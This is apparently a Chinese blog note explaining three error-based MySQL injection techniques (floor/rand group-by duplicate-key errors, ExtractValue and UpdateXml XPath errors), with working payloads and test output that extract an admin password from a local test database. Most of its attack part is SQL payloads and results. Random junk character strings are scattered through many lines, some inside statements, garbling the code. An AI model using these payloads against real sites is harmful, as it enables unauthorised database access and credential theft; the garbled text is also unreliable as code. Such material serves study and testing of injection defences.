关于Mysql注入过程中的三种报错方式

admin

放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
8 V, w: F: O2 W$ E# b实际测试环境：
" s+ P9 m9 s& E; F: t% _​
+ t& S. W, U9 R; H- N
* t8 ?( p) m4 K- X9 cmysql> show tables;
9 ^% G  l; Z  w% J0 c" E  e+----------------+
| Tables_in_test |
+----------------+
| admin          |
| article        |
+----------------+
: M) I$ x6 H/ f6 q
% Z, B9 u% }( Y9 v' {3 t

mysql> describe admin;
+-------+------------------+------+-----+---------+----------------+
| Field | Type             | Null | Key | Default | Extra          |
+-------+------------------+------+-----+---------+----------------+
8 l) L  I" o1 o- x) @8 j| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
7 E% R9 \+ q& U+ O# Y& H- H; Z| user  | varchar(50)      | NO   |     | NULL    |                |
| pass  | varchar(50)      | NO   |     | NULL    |                |
+-------+------------------+------+-----+---------+----------------+

% z: k$ o$ V% c) `4 q9 t
4 L% @2 E" I2 [0 d" w; p; T
mysql> describe article;
+---------+------------------+------+-----+---------+----------------+
| Field   | Type             | Null | Key | Default | Extra          |
9 j! D+ y3 b; ]# k: h+---------+------------------+------+-----+---------+----------------+
8 [, U/ F4 s  Q8 x| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| title   | varchar(50)      | NO   |     | NULL    |                |
, \' Q* d! b/ V! Y/ O| content | varchar(50)      | NO   |     | NULL    |                |
+---------+------------------+------+-----+---------+----------------+
1、通过floor报错
可以通过如下一些利用代码
, |% {  u% z- t/ S. O( D; L! s$ ^
, c  q# O0 S9 \  W# {- y
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
from information_schema.tables group by x)a);

1 s7 y! C$ ^. P, s0 D
7 G) I/ v8 Z8 [5 l4 v# v$ x2 [and (select count(*) from (select 1 union select null union select !1)x
group by concat((select table_name from information_schema.tables limit 1),
floor(rand(0)*2)));
举例如下：
首先进行正常查询：

mysql> select * from article where id = 1;
6 J2 V0 J/ N8 S1 h4 Q( l4 h6 |# p+----+-------+---------+
' ^# H- d  }) U9 ~* I| id | title | content |
+----+-------+---------+
|  1 | test  | do it   |
" O- B. e( Z9 [5 w  |5 h+----+-------+---------+
9 l: v5 G, `: s5 _5 L假如id输入存在注入的话，可以通过如下语句进行报错。

. [$ u+ [' Y( y, s/ h
mysql> select * from article where id = 1 and (select 1 from
; m' z( d1 L- z9 L; ^(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：
0 t! P" `$ K& p% a/ x' P" Q: d8 O" oMethod1:
; k; t1 g3 k4 W' W7 e1 z
# s5 F( z& l; y# Z( q
mysql> select * from article where id = 1 and (select 1 from
+ |( g8 M' Z2 l+ r; C# }9 i# a! w9 @(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
# T' g1 F0 ]6 a' P4 {. c* Mfrom information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
Method2:
- n% r/ E* i9 X( d% c  t; N
7 U4 ~+ ^2 S5 j1 M
! I0 [/ n, T! s! S; ~: cmysql> select * from article where id = 1 and (select count(*)
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
' C: H1 u; l3 H, i5 vfloor(rand(0)*2)));
' z/ ^* K0 g$ d# zERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
) j- A) q! R/ w2 f9 x, x0 t2、ExtractValue
# r  Z8 G- Q5 |! {; e4 ?测试语句如下
- K$ C; u" m, B2 Q
6 ?. Q; o" M2 c( K: g& |9 `
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
实际测试过程

: J; G' d) y  b
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
4 ]2 l  `3 z8 A' O2 r9 b(select pass from admin limit 1)));--
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
3、UpdateXml
7 v* I% l. r* R& _9 @# y3 I测试语句
3 w3 M* r4 V9 q5 p
+ s1 K; L$ [1 O- Y& H" z/ G
0 U" c8 I* L6 T5 kand 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
实际测试过程


mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
4 t, G5 U- s% E, ?4 D(select pass from admin limit 1),0x5e24),1));
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
All, thanks foreign guys.

# Q  g0 ]7 F/ h4 }2 w" [​